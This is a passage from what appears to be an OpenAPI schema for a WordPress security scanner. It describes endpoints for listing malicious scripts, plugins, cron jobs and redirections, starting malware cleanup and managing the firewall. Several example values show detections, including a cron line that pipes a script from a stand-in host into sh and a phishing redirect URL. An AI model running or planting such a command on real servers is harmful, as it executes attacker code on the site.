"Whether the script is currently marked safe for your account.", "example": false }, "detected_at": { "oneOf": [ { "type": "string", "format": "date-time" }, { "type": "null" } ], "description": "Time when the detection was found, when available.", "example": "2026-05-25T07:40:00Z" } }, "example": { "id": "0aa32de0ef6669175da26f87aa93c193", "threat_types": [ "injection" ], "location": { "type": "database", "table_name": "wp_options", "affected_rows": 2 }, "marked_safe": false, "detected_at": "2026-05-25T07:40:00Z" } } }, "meta": { "type": "object", "required": [ "pagination" ], "properties": { "pagination": { "$ref": "#/components/schemas/PaginationMetadata" } } } }, "example": { "scripts": [ { "id": "0aa32de0ef6669175da26f87aa93c193", "threat_types": [ "injection" ], "location": { "type": "database", "table_name": "wp_options", "affected_rows": 2 }, "marked_safe": false, "detected_at": "2026-05-25T07:40:00Z" }, { "id": "1bb32de0ef6669175da26f87aa93c194", "threat_types": [ "redirection" ], "location": { "type": "homepage", "url": "https://example.com" }, "marked_safe": true, "detected_at": "2026-05-24T07:40:00Z" } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 2 } } } }, "ShowSiteSecurityScannerDetectionScriptContentRequest": { "type": "object", "required": [ "site_id", "id" ], "description": "Path parameters for showing detected script content.", "properties": { "site_id": { "$ref": "#/components/schemas/SiteId" }, "id": { "type": "string", "minLength": 1, "pattern": "^[a-f0-9]{32}$", "description": "Script detection ID returned by the list response.", "example": "0aa32de0ef6669175da26f87aa93c193" } }, "example": { "site_id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "id": "0aa32de0ef6669175da26f87aa93c193" } }, "ShowSiteSecurityScannerDetectionScriptContentResponse": { "type": "object", "required": [ "content" ], "description": "Response envelope returned with detected script content.", "properties": { "content": { "type": "string", "contentEncoding": "base64", "description": "Base64-encoded script source.", "example": "PHNjcmlwdD5hbGVydCgnbWFsaWNpb3VzJyk8L3NjcmlwdD4=" } }, "example": { "content": "PHNjcmlwdD5hbGVydCgnbWFsaWNpb3VzJyk8L3NjcmlwdD4=" } }, "MarkSiteSecurityScannerDetectionScriptsSafeRequest": { "type": "object", "required": [ "ids" ], "description": "Script detection IDs to mark safe for your account.", "properties": { "ids": { "type": "array", "minItems": 1, "description": "Script detection IDs returned by the list response. Duplicate IDs are processed once.", "items": { "type": "string", "minLength": 1, "pattern": "^[a-f0-9]{32}$" }, "example": [ "0aa32de0ef6669175da26f87aa93c193" ] } }, "example": { "ids": [ "0aa32de0ef6669175da26f87aa93c193" ] } }, "MarkSiteSecurityScannerDetectionScriptsSafeResponse": { "type": "object", "required": [ "safe", "meta" ], "description": "Response envelope returned after script detections are marked safe.", "properties": { "safe": { "type": "object", "required": [ "ids", "errors" ], "description": "Result details for a bulk script detection operation.", "properties": { "ids": { "type": "array", "description": "Script detection IDs processed by the operation.", "items": { "type": "string", "minLength": 1 }, "example": [ "0aa32de0ef6669175da26f87aa93c193" ] }, "errors": { "type": "array", "description": "Per-ID errors for script detection IDs that failed processing.", "items": { "type": "object", "required": [ "id", "code", "message" ], "properties": { "id": { "type": "string", "description": "Script detection ID associated with this error.", "example": "0aa32de0ef6669175da26f87aa93c193" }, "code": { "type": "string", "description": "Machine-readable error code.", "example": "invalid_format" }, "message": { "type": "string", "description": "Human-readable error message.", "example": "Invalid id format." } } }, "example": [] } }, "example": { "ids": [ "0aa32de0ef6669175da26f87aa93c193" ], "errors": [] } }, "meta": { "type": "object", "required": [ "requested", "succeeded", "failed" ], "description": "Counts for a bulk script detection operation.", "properties": { "requested": { "type": "integer", "minimum": 0, "description": "Number of unique submitted script detection IDs.", "example": 1 }, "succeeded": { "type": "integer", "minimum": 0, "description": "Number of script detection IDs processed successfully.", "example": 1 }, "failed": { "type": "integer", "minimum": 0, "description": "Number of script detection IDs that failed processing.", "example": 0 } }, "example": { "requested": 1, "succeeded": 1, "failed": 0 } } }, "example": { "safe": { "ids": [ "0aa32de0ef6669175da26f87aa93c193" ], "errors": [] }, "meta": { "requested": 1, "succeeded": 1, "failed": 0 } } }, "SiteSecurityScannerDetectionPluginFilters": { "type": "object", "required": [], "description": "Filters applied to returned plugin detections.", "properties": { "name:contains": { "type": "string", "description": "Match plugin detections by plugin display name.", "example": "Bad" }, "slug:contains": { "type": "string", "description": "Match plugin detections by plugin slug.", "example": "bad-plugin" }, "detected_at:gte": { "type": "string", "format": "date-time", "description": "Match plugin detections first detected at or after this timestamp.", "example": "2026-05-01T00:00:00Z" }, "detected_at:lte": { "type": "string", "format": "date-time", "description": "Match plugin detections first detected at or before this timestamp.", "example": "2026-06-01T00:00:00Z" }, "active:eq": { "oneOf": [ { "type": "boolean" }, { "type": "string", "enum": [ "true", "false" ] } ], "description": "Match plugin detections by activation state.", "example": true } }, "example": { "name:contains": "Bad", "slug:contains": "bad-plugin", "active:eq": true } }, "ListSiteSecurityScannerDetectionPluginsSort": { "type": "string", "default": "detected_at,desc", "description": "Sort order for returned plugin detections.", "example": "detected_at,desc" }, "ListSiteSecurityScannerDetectionPluginsRequest": { "type": "object", "required": [ "site_id" ], "description": "Path and query parameters for listing malicious plugin detections.", "properties": { "site_id": { "$ref": "#/components/schemas/SiteId" }, "filters": { "$ref": "#/components/schemas/SiteSecurityScannerDetectionPluginFilters" }, "sort": { "$ref": "#/components/schemas/ListSiteSecurityScannerDetectionPluginsSort" }, "page": { "type": "integer", "minimum": 1, "default": 1, "description": "Page number.", "example": 1 }, "perPage": { "type": "integer", "minimum": 1, "maximum": 100, "default": 100, "description": "Number of plugin detections per page.", "example": 100 } }, "example": { "site_id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "filters": { "name:contains": "Bad", "active:eq": true }, "sort": "detected_at,desc", "page": 1, "perPage": 100 } }, "ListSiteSecurityScannerDetectionPluginsResponse": { "type": "object", "required": [ "plugins", "meta" ], "description": "Response envelope returned with a paginated list of malicious plugin detections.", "properties": { "plugins": { "type": "array", "items": { "type": "object", "required": [ "name", "slug", "filename", "current_version", "latest_version", "update_available", "database", "active", "network_wide", "package_available", "locked", "vulnerable", "malicious", "detected_at" ], "description": "One installed plugin classified as malicious for a site.", "properties": { "name": { "type": "string", "description": "Plugin display name.", "example": "Bad Plugin" }, "slug": { "type": "string", "description": "Plugin slug identifier.", "example": "bad-plugin" }, "filename": { "type": "string", "description": "Plugin main file path used to identify the installed plugin.", "example": "bad-plugin/bad-plugin.php" }, "current_version": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Currently installed plugin version.", "example": "1.2.0" }, "latest_version": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Latest available plugin version, when known.", "example": "1.3.0" }, "update_available": { "type": "boolean", "description": "Whether a plugin update is available.", "example": true }, "database": { "type": "object", "required": [ "current_version", "latest_version", "update_required" ], "description": "Plugin database schema version metadata.", "properties": { "current_version": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Currently installed plugin database schema version.", "example": "4.0.0" }, "latest_version": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Latest available plugin database schema version, when known.", "example": "5.0.0" }, "update_required": { "type": "boolean", "description": "Whether a plugin database schema update is available.", "example": true } } }, "active": { "type": "boolean", "description": "Whether the plugin is active on the site.", "example": true }, "network_wide": { "type": "boolean", "description": "Whether the plugin is network-active for this site.", "example": false }, "vulnerable": { "type": "boolean", "description": "Whether the plugin has known vulnerabilities.", "example": true }, "malicious": { "type": "boolean", "description": "Whether the plugin is classified as malicious.", "example": true }, "package_available": { "type": "boolean", "description": "Whether the plugin installation package is available.", "example": true }, "locked": { "type": "boolean", "description": "Whether plugin updates are locked for this plugin.", "example": false }, "detected_at": { "oneOf": [ { "type": "string", "format": "date-time" }, { "type": "null" } ], "description": "Time when the plugin was first detected, when available.", "example": "2026-05-25T07:40:00Z" } }, "example": { "name": "Bad Plugin", "slug": "bad-plugin", "filename": "bad-plugin/bad-plugin.php", "current_version": "1.2.0", "latest_version": "1.3.0", "update_available": true, "database": { "current_version": "4.0.0", "latest_version": "5.0.0", "update_required": true }, "active": true, "network_wide": false, "package_available": true, "locked": false, "vulnerable": true, "malicious": true, "detected_at": "2026-05-25T07:40:00Z" } } }, "meta": { "type": "object", "required": [ "pagination" ], "properties": { "pagination": { "$ref": "#/components/schemas/PaginationMetadata" } } } }, "example": { "plugins": [ { "name": "Bad Plugin", "slug": "bad-plugin", "filename": "bad-plugin/bad-plugin.php", "current_version": "1.2.0", "latest_version": "1.3.0", "update_available": true, "database": { "current_version": "4.0.0", "latest_version": "5.0.0", "update_required": true }, "active": true, "network_wide": false, "package_available": true, "locked": false, "vulnerable": true, "malicious": true, "detected_at": "2026-05-25T07:40:00Z" }, { "name": "Another Plugin", "slug": "another-plugin", "filename": "another-plugin/main.php", "current_version": "2.0.0", "latest_version": "2.1.0", "update_available": false, "database": { "current_version": "1.0.0", "latest_version": "1.0.0", "update_required": false }, "active": false, "network_wide": false, "package_available": false, "locked": false, "vulnerable": false, "malicious": true, "detected_at": "2026-05-24T07:40:00Z" } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 2 } } } }, "ListSiteSecurityScannerDetectionCronJobsRequest": { "type": "object", "required": [ "site_id" ], "description": "Path and query parameters for listing cron job detections.", "properties": { "site_id": { "$ref": "#/components/schemas/SiteId" }, "snapshot_id": { "$ref": "#/components/schemas/SnapshotId", "description": "Scanner snapshot ID. When omitted, the latest completed scanner snapshot is used.", "example": "67f2a9c4b13e8d2f9a40c1d7" }, "filters": { "$ref": "#/components/schemas/SiteSecurityScannerDetectionCronJobFilters" }, "page": { "type": "integer", "minimum": 1, "default": 1, "description": "Page number.", "example": 1 }, "perPage": { "type": "integer", "minimum": 1, "maximum": 100, "default": 100, "description": "Number of cron job detections per page.", "example": 100 } }, "example": { "site_id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "snapshot_id": "67f2a9c4b13e8d2f9a40c1d7", "filters": { "content:contains": "wp cron", "marked_safe:eq": false }, "page": 1, "perPage": 100 } }, "ListSiteSecurityScannerDetectionCronJobsResponse": { "type": "object", "required": [ "cron_jobs", "meta" ], "description": "Response envelope returned with a paginated list of cron job detections.", "properties": { "cron_jobs": { "type": "array", "items": { "type": "object", "required": [ "content", "id", "marked_safe" ], "description": "One potentially malicious scheduled command from a site scanner snapshot.", "properties": { "content": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Scheduled command content for the detection, when available.", "example": "*/5 * * * * curl https://bad.example/payload.sh | sh" }, "id": { "type": "string", "minLength": 1, "pattern": "^[a-f0-9]{32}$", "description": "Lowercase 32-character cron job detection ID from the list response.", "example": "0aa32de0ef6669175da26f87aa93c193" }, "marked_safe": { "type": "boolean", "description": "Whether the detected cron job is currently marked safe for your account.", "example": false } }, "example": { "content": "*/5 * * * * curl https://bad.example/payload.sh | sh", "id": "0aa32de0ef6669175da26f87aa93c193", "marked_safe": false } } }, "meta": { "type": "object", "required": [ "pagination" ], "properties": { "pagination": { "$ref": "#/components/schemas/PaginationMetadata" } } } }, "example": { "cron_jobs": [ { "content": "*/5 * * * * curl https://bad.example/payload.sh | sh", "id": "0aa32de0ef6669175da26f87aa93c193", "marked_safe": false }, { "content": "0 * * * * php /var/www/html/wp-content/scripts/expected-task.php", "id": "1bb32de0ef6669175da26f87aa93c194", "marked_safe": true } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 2 } } } }, "MarkSiteSecurityScannerDetectionCronJobsSafeRequest": { "type": "object", "required": [ "ids" ], "description": "Cron job detection IDs to mark safe for your account.", "properties": { "ids": { "type": "array", "minItems": 1, "description": "Lowercase 32-character cron job detection IDs from the list response. Duplicate IDs are processed once.", "items": { "type": "string", "minLength": 1, "pattern": "^[a-f0-9]{32}$" }, "example": [ "0aa32de0ef6669175da26f87aa93c193" ] } }, "example": { "ids": [ "0aa32de0ef6669175da26f87aa93c193" ] } }, "MarkSiteSecurityScannerDetectionCronJobsSafeResponse": { "type": "object", "required": [ "safe", "meta" ], "description": "Response envelope returned after cron job detections are marked safe.", "properties": { "safe": { "type": "object", "required": [ "ids", "errors" ], "description": "Result details for a bulk cron job detection operation.", "properties": { "ids": { "type": "array", "description": "Cron job detection IDs processed by the operation.", "items": { "type": "string", "minLength": 1 }, "example": [ "0aa32de0ef6669175da26f87aa93c193" ] }, "errors": { "type": "array", "description": "Per-ID errors for cron job detection IDs that failed processing.", "items": { "type": "object", "required": [ "id", "code", "message" ], "properties": { "id": { "type": "string", "description": "Cron job detection ID associated with this error.", "example": "0aa32de0ef6669175da26f87aa93c193" }, "code": { "type": "string", "description": "Machine-readable error code.", "example": "invalid_format" }, "message": { "type": "string", "description": "Human-readable error message.", "example": "Invalid id format." } } }, "example": [] } }, "example": { "ids": [ "0aa32de0ef6669175da26f87aa93c193" ], "errors": [] } }, "meta": { "type": "object", "required": [ "requested", "succeeded", "failed" ], "description": "Counts for a bulk cron job detection operation.", "properties": { "requested": { "type": "integer", "minimum": 0, "description": "Number of unique submitted cron job detection IDs.", "example": 1 }, "succeeded": { "type": "integer", "minimum": 0, "description": "Number of cron job detection IDs processed successfully.", "example": 1 }, "failed": { "type": "integer", "minimum": 0, "description": "Number of cron job detection IDs that failed processing.", "example": 0 } }, "example": { "requested": 1, "succeeded": 1, "failed": 0 } } }, "example": { "safe": { "ids": [ "0aa32de0ef6669175da26f87aa93c193" ], "errors": [] }, "meta": { "requested": 1, "succeeded": 1, "failed": 0 } } }, "SiteSecurityScannerDetectionRedirectionFilters": { "type": "object", "required": [], "description": "Filters applied to returned redirection detections.", "properties": { "type:eq": { "type": "string", "description": "Match redirection detections by redirect behavior. Supported values for matching include `same_tab` and `new_tab`.", "example": "same_tab" }, "location:contains": { "type": "string", "description": "Match text within the page URL where the redirection was detected.", "example": "example.com" }, "from:contains": { "type": "string", "description": "Match text within the source URL.", "example": "example.com" }, "to:contains": { "type": "string", "description": "Match text within the destination URL.", "example": "malicious.example" }, "marked_safe:eq": { "oneOf": [ { "type": "boolean" }, { "type": "string", "enum": [ "true", "false" ] } ], "description": "Match redirections by safe marking state.", "example": false }, "detected_at:gte": { "type": "string", "format": "date-time", "description": "Include redirections detected at or after this timestamp.", "example": "2026-05-25T00:00:00Z" }, "detected_at:lte": { "type": "string", "format": "date-time", "description": "Include redirections detected at or before this timestamp.", "example": "2026-05-26T00:00:00Z" } }, "example": { "type:eq": "same_tab", "to:contains": "malicious.example", "marked_safe:eq": false } }, "ListSiteSecurityScannerDetectionRedirectionsSort": { "type": "string", "default": "detected_at,desc", "description": "Sort order for returned redirection detections.", "example": "detected_at,desc" }, "ListSiteSecurityScannerDetectionRedirectionsRequest": { "type": "object", "required": [ "site_id" ], "description": "Path and query parameters for listing redirection detections.", "properties": { "site_id": { "$ref": "#/components/schemas/SiteId" }, "filters": { "$ref": "#/components/schemas/SiteSecurityScannerDetectionRedirectionFilters" }, "sort": { "$ref": "#/components/schemas/ListSiteSecurityScannerDetectionRedirectionsSort" }, "page": { "type": "integer", "minimum": 1, "default": 1, "description": "Page number.", "example": 1 }, "perPage": { "type": "integer", "minimum": 1, "maximum": 100, "default": 100, "description": "Number of redirection detections per page.", "example": 100 } }, "example": { "site_id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "filters": { "type:eq": "same_tab", "to:contains": "malicious.example", "marked_safe:eq": false }, "sort": "detected_at,desc", "page": 1, "perPage": 100 } }, "ListSiteSecurityScannerDetectionRedirectionsResponse": { "type": "object", "required": [ "redirections", "meta" ], "description": "Response envelope returned with a paginated list of redirection detections.", "properties": { "redirections": { "type": "array", "items": { "type": "object", "required": [ "type", "location", "from", "to", "marked_safe", "detected_at" ], "description": "One potentially malicious redirect or new-tab destination for a site.", "properties": { "type": { "type": "string", "enum": [ "same_tab", "new_tab" ], "description": "Redirect behavior observed on the source page.", "example": "same_tab" }, "location": { "type": "string", "description": "Page URL where the redirection was observed. The source and destination URLs are returned separately as `from` and `to`.", "example": "https://example.com" }, "from": { "type": "string", "description": "Source URL that triggered the destination.", "example": "https://example.com" }, "to": { "type": "string", "description": "Destination URL reached from the source page.", "example": "https://malicious.example/phishing" }, "marked_safe": { "type": "boolean", "description": "Whether the destination host is currently marked safe for this site.", "example": false }, "detected_at": { "type": "string", "format": "date-time", "description": "Time when this redirection was detected.", "example": "2026-05-25T07:40:00Z" } }, "example": { "type": "same_tab", "location": "https://example.com", "from": "https://example.com", "to": "https://malicious.example/phishing", "marked_safe": false, "detected_at": "2026-05-25T07:40:00Z" } } }, "meta": { "type": "object", "required": [ "pagination" ], "properties": { "pagination": { "$ref": "#/components/schemas/PaginationMetadata" } } } }, "example": { "redirections": [ { "type": "same_tab", "location": "https://example.com", "from": "https://example.com", "to": "https://malicious.example/phishing", "marked_safe": false, "detected_at": "2026-05-25T07:40:00Z" }, { "type": "new_tab", "location": "https://example.com/contact", "from": "https://example.com/contact", "to": "https://trusted.example/help", "marked_safe": true, "detected_at": "2026-05-24T07:40:00Z" } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 2 } } } }, "MarkSiteSecurityScannerDetectionRedirectionsSafeRequest": { "type": "object", "required": [ "urls" ], "description": "Redirection destination URLs to mark safe for the selected site.", "properties": { "urls": { "type": "array", "minItems": 1, "description": "Destination URLs from the list response. Duplicate URLs are processed once.", "items": { "type": "string", "minLength": 1, "description": "Destination URL from the list response." }, "example": [ "https://malicious.example/phishing" ] } }, "example": { "urls": [ "https://malicious.example/phishing" ] } }, "MarkSiteSecurityScannerDetectionRedirectionsSafeResponse": { "type": "object", "required": [ "safe", "meta" ], "description": "Response envelope returned after redirection destination URLs are marked safe.", "properties": { "safe": { "type": "object", "required": [ "urls", "errors" ], "description": "Result details for a bulk redirection detection operation.", "properties": { "urls": { "type": "array", "description": "Destination URLs processed by the operation. The destination host determines the safe state applied to future redirection review.", "items": { "type": "string" }, "example": [ "https://malicious.example/phishing" ] }, "errors": { "type": "array", "description": "Per-URL errors for destination URLs that failed processing.", "items": { "type": "object", "required": [ "url", "code", "message" ], "properties": { "url": { "type": "string", "description": "Redirection URL associated with this error.", "example": "https://malicious.example/phishing" }, "code": { "type": "string", "description": "Machine-readable error code.", "example": "invalid_value" }, "message": { "type": "string", "description": "Human-readable error message.", "example": "URL could not be marked safe." } } }, "example": [] } }, "example": { "urls": [ "https://malicious.example/phishing" ], "errors": [] } }, "meta": { "type": "object", "required": [ "requested", "succeeded", "failed" ], "description": "Counts for a bulk redirection detection operation.", "properties": { "requested": { "type": "integer", "minimum": 0, "description": "Number of unique submitted URLs.", "example": 1 }, "succeeded": { "type": "integer", "minimum": 0, "description": "Number of URLs processed successfully.", "example": 1 }, "failed": { "type": "integer", "minimum": 0, "description": "Number of URLs that failed processing.", "example": 0 } }, "example": { "requested": 1, "succeeded": 1, "failed": 0 } } }, "example": { "safe": { "urls": [ "https://malicious.example/phishing" ], "errors": [] }, "meta": { "requested": 1, "succeeded": 1, "failed": 0 } } }, "SiteSecurityScannerCleanupConflictError": { "type": "object", "required": [ "error" ], "description": "Conflict response returned when another cleanup is already running for the site.", "properties": { "error": { "type": "object", "required": [ "status", "code", "message", "details" ], "properties": { "status": { "type": "integer", "enum": [ 409 ], "description": "HTTP status code.", "example": 409 }, "code": { "type": "string", "enum": [ "conflict" ], "description": "Machine-readable HTTP error code.", "example": "conflict" }, "message": { "type": "string", "description": "Human-readable conflict message.", "example": "Conflict" }, "details": { "type": "array", "description": "Cleanup conflict details.", "items": { "type": "object", "required": [ "code", "message" ], "properties": { "code": { "type": "string", "enum": [ "already_in_progress" ], "description": "Machine-readable detail code.", "example": "already_in_progress" }, "message": { "type": "string", "description": "Human-readable detail message.", "example": "Another malware cleanup is already in progress." }, "task_id": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Task ID for the running cleanup when available.", "example": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a" } } } } } } }, "example": { "error": { "status": 409, "code": "conflict", "message": "Conflict", "details": [ { "code": "already_in_progress", "message": "Another malware cleanup is already in progress.", "task_id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a" } ] } } }, "CheckSiteSecurityScannerCleanupEligibilityRequest": { "type": "object", "required": [ "site_id" ], "description": "Path parameters for checking cleanup eligibility.", "properties": { "site_id": { "$ref": "#/components/schemas/SiteId" } }, "example": { "site_id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" } }, "CheckSiteSecurityScannerCleanupEligibilityResponse": { "type": "object", "required": [ "cleanup" ], "description": "Response envelope returned when cleanup can be started for the site.", "properties": { "cleanup": { "type": "object", "required": [ "eligible", "credit_required" ], "description": "Cleanup eligibility result for the selected site.", "properties": { "eligible": { "type": "boolean", "description": "Always `true` in a successful eligibility response.", "example": true }, "credit_required": { "type": "boolean", "description": "Whether starting cleanup will use an available cleanup credit.", "example": false } } } }, "example": { "cleanup": { "eligible": true, "credit_required": false } } }, "StartSiteSecurityScannerCleanupRequest": { "type": "object", "required": [ "cleanup" ], "description": "Request body for starting cleanup on a hacked site.", "properties": { "cleanup": { "type": "object", "required": [ "connection" ], "description": "Cleanup settings. `connection.method` is required. Post-cleanup options are optional.", "properties": { "connection": { "type": "object", "required": [ "method" ], "description": "Connection method and optional credentials used during cleanup.", "properties": { "method": { "type": "string", "enum": [ "http", "ftp" ], "description": "Cleanup connection method. Use `ftp` only when server and database credentials are supplied.", "example": "http" }, "credentials": { "type": "object", "required": [], "description": "Optional credential groups for server access, database access, and HTTP Basic Auth.", "properties": { "server": { "type": "object", "required": [ "protocol", "host", "username" ], "description": "FTP, SFTP, or FTPS server credentials required when `connection.method` is `ftp`.", "properties": { "protocol": { "type": "string", "enum": [ "ftp", "sftp", "ftps" ], "description": "Server transfer protocol.", "example": "sftp" }, "host": { "type": "string", "description": "Server hostname.", "example": "sftp.example.com" }, "username": { "type": "string", "description": "Server username.", "example": "deploy" }, "password": { "type": "string", "description": "Server password. Required for FTP and FTPS. For SFTP, either `password` or `private_key` is required.", "example": "example-password" }, "private_key": { "type": "string", "description": "SFTP private key. For SFTP, either `password` or `private_key` is required.", "example": "example-private-key" }, "path": { "type": "string", "description": "Site root path on the server.", "example": "/public_html" }, "port": { "type": "integer", "description": "Server port.", "example": 22 } } }, "http_auth": { "type": "object", "required": [], "description": "HTTP Basic Auth credentials for password-protected sites.", "properties": { "username": { "type": "string", "description": "HTTP Basic Auth username.", "example": "site_user" }, "password": { "type": "string", "description": "HTTP Basic Auth password.", "example": "example-password" } } }, "database": { "type": "object", "required": [ "host", "username", "password", "name" ], "description": "Database credentials required and accepted only when `connection.method` is `ftp`.", "properties": { "host": { "type": "string", "description": "Database host.", "example": "localhost" }, "username": { "type": "string", "description": "Database username.", "example": "db_user" }, "password": { "type": "string", "description": "Database password.", "example": "example-password" }, "name": { "type": "string", "description": "Database name.", "example": "wordpress" } } } } } } }, "options": { "type": "object", "required": [], "description": "Optional cleanup preferences.", "properties": { "post_cleanup": { "type": "object", "required": [], "description": "Actions to run after cleanup.", "properties": { "update_security_keys": { "type": "boolean", "description": "Whether to update site security keys after cleanup. Defaults to `false` when omitted.", "example": true }, "clear_cache": { "type": "boolean", "description": "Whether to clear the site cache after cleanup. Defaults to `false` when omitted.", "example": true }, "passwords": { "type": "object", "required": [], "description": "Password reset settings for WordPress users.", "properties": { "reset": { "type": "boolean", "description": "Whether to reset passwords for selected WordPress roles. Defaults to `false` when omitted.", "example": true }, "roles": { "type": "array", "description": "WordPress roles whose passwords should be reset. Required when `reset` is `true`; `subscriber` is not accepted.", "items": { "type": "string", "enum": [ "administrator", "editor", "author", "contributor" ] }, "example": [ "administrator" ] } } } } } } } } } }, "example": { "cleanup": { "connection": { "method": "http" }, "options": { "post_cleanup": { "update_security_keys": true, "passwords": { "reset": true, "roles": [ "administrator" ] }, "clear_cache": true } } } } }, "StartSiteSecurityScannerCleanupResponse": { "type": "object", "required": [ "task" ], "description": "Response envelope returned after cleanup starts.", "properties": { "task": { "type": "object", "required": [ "id", "status", "created_at" ], "description": "Task created to run cleanup for the site.", "properties": { "id": { "type": "string", "description": "Task ID returned by the cleanup request. Use it with Tasks to track progress.", "example": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a" }, "status": { "type": "string", "description": "Current task status at creation time.", "example": "initializing" }, "created_at": { "type": "string", "format": "date-time", "description": "Time when the cleanup task was created.", "example": "2026-02-21T10:00:00Z" } }, "example": { "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a", "status": "initializing", "created_at": "2026-02-21T10:00:00Z" } } }, "example": { "task": { "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a", "status": "initializing", "created_at": "2026-02-21T10:00:00Z" } } }, "SiteSecurityFirewallStatus": { "type": "object", "required": [ "enabled", "advanced" ], "description": "Firewall protection state for a site.", "properties": { "enabled": { "type": "boolean", "description": "Whether firewall protection is enabled for the site.", "example": true }, "advanced": { "type": "boolean", "description": "Whether advanced firewall protection is active for the site.", "example": true } }, "example": { "enabled": true, "advanced": true } }, "EnableSiteSecurityFirewallRequest": { "type": "object", "required": [ "site_id" ], "description": "Path parameters for enabling firewall protection on one site.", "properties": { "site_id": { "$ref": "#/components/schemas/SiteId" } }, "example": { "site_id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" } }, "EnableSiteSecurityFirewallResponse": { "type": "object", "required": [ "firewall" ], "description": "Response envelope returned after firewall protection is enabled.", "properties": { "firewall": { "$ref": "#/components/schemas/SiteSecurityFirewallStatus" } }, "example": { "firewall": { "enabled": true, "advanced": true } } }, "DisableSiteSecurityFirewallRequest": { "type": "object", "required": [ "site_id" ], "description": "Path parameters for disabling firewall protection on one site.", "properties": { "site_id": { "$ref": "#/components/schemas/SiteId" } }, "example": { "site_id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" } }, "DisableSiteSecurityFirewallResponse": { "type": "object", "required": [ "firewall" ], "description": "Response envelope returned after firewall protection is disabled.", "properties": { "firewall": { "$ref": "#/components/schemas/SiteSecurityFirewallStatus" } }, "example": { "firewall": { "enabled": false, "advanced": false } } }, "SiteSecurityFirewallIpAccessBulkResult": { "type": "object", "required": [ "ips", "errors" ], "description": "Result details for a bulk IP access operation.", "properties": { "ips": { "type": "array", "description": "IP addresses processed by the operation.", "items": { "type": "string", "description": "IPv4 or IPv6 address." }, "example": [ "203.0.113.10", "2001:db8::10" ] }, "errors": { "type": "array", "description": "Per-IP errors for IP addresses that failed processing.", "items": { "type": "object", "required": [ "ip", "code", "message" ], "properties": { "ip": { "type": "string", "description": "IP address associated with this error.", "example": "203.0.113.10" }, "code": { "type": "string", "description": "Machine-readable error code.", "example": "invalid_type" }, "message": { "type": "string", "description": "Human-readable error message.", "example": "Invalid IP format." } } }, "example": [] } }, "example": { "ips": [ "203.0.113.10", "2001:db8::10" ], "errors": [] } }, "SiteSecurityFirewallIpAccessBulkMeta": { "type": "object", "required": [ "requested", "succeeded", "failed" ], "description": "Counts for a bulk IP access operation.", "properties": { "requested": { "type": "integer", "minimum": 0, "description": "Number of unique submitted IP addresses.", "example": 2 }, "succeeded": { "type": "integer", "minimum": 0, "description": "Number of IP addresses processed successfully.", "example": 2 }, "failed": { "type": "integer", "minimum": 0, "description": "Number of IP addresses that failed processing.", "example": 0 } }, "example": { "requested": 2, "succeeded": 2, "failed": 0 } }, "ShowSiteSecurityFirewallIpAccessRequest": { "type": "object", "required": [ "site_id" ], "description": "Path parameters for showing firewall IP access on one site.", "properties": { "site_id": { "$ref": "#/components/schemas/SiteId" } }, "example": { "site_id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" } }, "ShowSiteSecurityFirewallIpAccessResponse": { "type": "object", "required": [ "ip_access" ], "description": "Response envelope returned with IP access settings for one site.", "properties": { "ip_access": { "type": "object", "required": [ "whitelisted_ips" ], "description": "IP addresses explicitly allowed through firewall and login protection checks for one site.", "properties": { "whitelisted_ips": { "type": "array", "description": "IPv4 or IPv6 addresses currently allowed for the site.", "items": { "type": "string", "description": "IPv4 or IPv6 address." }, "example": [ "203.0.113.10", "2001:db8::10" ] } }, "example": { "whitelisted_ips": [ "203.0.113.10", "2001:db8::10" ] } } }, "example": { "ip_access": { "whitelisted_ips": [ "203.0.113.10", "2001:db8::10" ] } } }, "WhitelistSiteSecurityFirewallIpsRequest": { "type": "object", "required": [ "ips" ], "description": "IP addresses to add to IP Access for the selected site.", "properties": { "ips": { "type": "array", "minItems": 1, "description": "IPv4 or IPv6 addresses to add to IP Access for this site. Duplicate values are processed once.", "items": { "type": "string", "description": "IPv4 or IPv6 address without leading or trailing whitespace." }, "example": [ "203.0.113.10", "2001:db8::10" ] } }, "example": { "ips": [ "203.0.113.10", "2001:db8::10" ] } }, "WhitelistSiteSecurityFirewallIpsResponse": { "type": "object", "required": [ "whitelist", "meta" ], "description": "Response envelope returned after IP addresses are added to IP Access.", "properties": { "whitelist": { "$ref": "#/components/schemas/SiteSecurityFirewallIpAccessBulkResult" }, "meta": { "$ref": "#/components/schemas/SiteSecurityFirewallIpAccessBulkMeta" } }, "example": { "whitelist": { "ips": [ "203.0.113.10", "2001:db8::10" ], "errors": [] }, "meta": { "requested": 2, "succeeded": 2, "failed": 0 } } }, "DeleteSiteSecurityFirewallIpAccessRequest": { "type": "object", "required": [ "ips" ], "description": "IP addresses to remove from IP Access for the selected site.", "properties": { "ips": { "type": "array", "minItems": 1, "description": "IPv4 or IPv6 addresses to remove from IP Access for this site. Duplicate values are processed once.", "items": { "type": "string", "description": "IPv4 or IPv6 address without leading or trailing whitespace." }, "example": [ "203.0.113.10" ] } }, "example": { "ips": [ "203.0.113.10" ] } }, "DeleteSiteSecurityFirewallIpAccessResponse": { 